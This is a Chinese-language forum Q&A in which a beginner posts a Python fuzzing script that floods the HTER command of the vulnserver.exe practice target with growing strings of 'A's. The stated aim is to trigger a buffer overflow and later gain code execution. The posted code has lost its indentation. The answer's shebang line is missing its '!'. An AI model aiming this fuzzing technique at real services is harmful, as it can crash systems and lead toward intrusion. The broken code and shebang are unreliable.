与连接到vulnserver.exe的spike fuzzer相关的python脚本

与连接到vulnserver.exe的spike fuzzer相关的python脚本,python,linux,fuzzing,spike,Python,Linux,Fuzzing,Spike,好的,我让vulnserver.exe在我的win7机器上运行,等待端口9999上的输入。它接收某些带有参数的命令,其中一个参数是TRUN,如果TRUN参数的长度正确,它将触发缓冲区溢出: 这是在kali linux上运行的python im,用于尝试连接到vulnserver并查看是否会导致崩溃: import socket numAs = 10 try: while True: # open a connection to vulnserver s = socket.socket (sock

好的,我让vulnserver.exe在我的win7机器上运行,等待端口9999上的输入。它接收某些带有参数的命令,其中一个参数是TRUN,如果TRUN参数的长度正确,它将触发缓冲区溢出:

这是在kali linux上运行的python im,用于尝试连接到vulnserver并查看是否会导致崩溃:

import socket
numAs = 10
try:
while True:
# open a connection to vulnserver
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect (("194.168.1.154", 9999))
# receive the banner for vulnserver
s.recv (1024)
print "[*] Sending " + str(numAs) + " As"
# send the number of As to fuzz the HTER command
s.send ("HTER " + "A" * numAs + " \r\n")
# receive the response from vulnserver
s.recv (1024)
# close the connection
s.close ()
# increase the number of As we send next time
numAs += 10
except:
# if we get to here then something happened to vulnserver because the 
connection is closed
print "Socket closed after sending " + str(numAs - 10) + " As"
然而,下面是我得到的命令行输出

./hterfuzz.py: line 2: numAs: command not found
./hterfuzz.py: line 3: try:: command not found
./hterfuzz.py: line 6: syntax error near unexpected token `('
./hterfuzz.py: line 6: `s = socket.socket (socket.AF_INET,socket.SOCK_STREAM)'
我对python非常陌生,不了解一些基本错误,因此非常感谢您的帮助。非常感谢

此外,vulnserver.exe程序也可从以下位置获得:

关于使用vulnserver进行模糊化的教程如下:

如果有任何其他信息我可以提供只是问,我只是试图修复py脚本中的错误,这样我就可以尝试使用它,找出导致溢出的原因,并最终修改它,创建一个有用的输入字符串,通过将字符串发送到vulnserver,在win7框上执行进程


谢谢大家的帮助:)

这是一个非常简单的问题-您的脚本是由bash而不是python解释的


只需将此添加为代码的第一行:#/usr/bin/python

完成Doh!非常感谢你的帮助,大卫。我应该使用python script.py而不是./script.py,正如我所说,我是一个初学者,非常感谢所有能给我的帮助